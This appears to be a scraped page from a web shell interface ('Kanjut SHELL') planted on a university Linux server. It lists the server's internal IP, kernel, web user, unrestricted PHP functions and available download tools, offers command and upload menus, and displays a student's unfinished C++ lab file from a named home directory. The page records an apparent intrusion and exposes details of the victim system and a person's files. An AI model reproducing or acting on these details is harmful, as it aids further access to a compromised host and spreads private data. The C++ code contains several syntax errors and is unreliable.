Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.227.0.57
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/sjpruden/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/sjpruden/lab1.cpp
// p.107 for Course
// p.110 for date, stuType, reg
// p.111 for testing code

#include <iostream>
using namespace std;

struct Course
{	string id;
	int section;
	int hours;
	char period;
	string location;

};

struct date
{	int month, day, year;
};

struct stuType
{	string name;
	date birth;
	char grade;
};

stuct reg
{	Course crse;
	stuType stu;
	string faculty;
};

int main()
{
	reg, myReg, hisReg;

	myReg.faculty = "Spencer Pruden";
	myReg.crse.id = "cs209";
	myReg.crse.location = "BL12";
	myReg.crse.hours = 6;
	my Reg.crse.period = "A"; 

Stv3n404 - 2023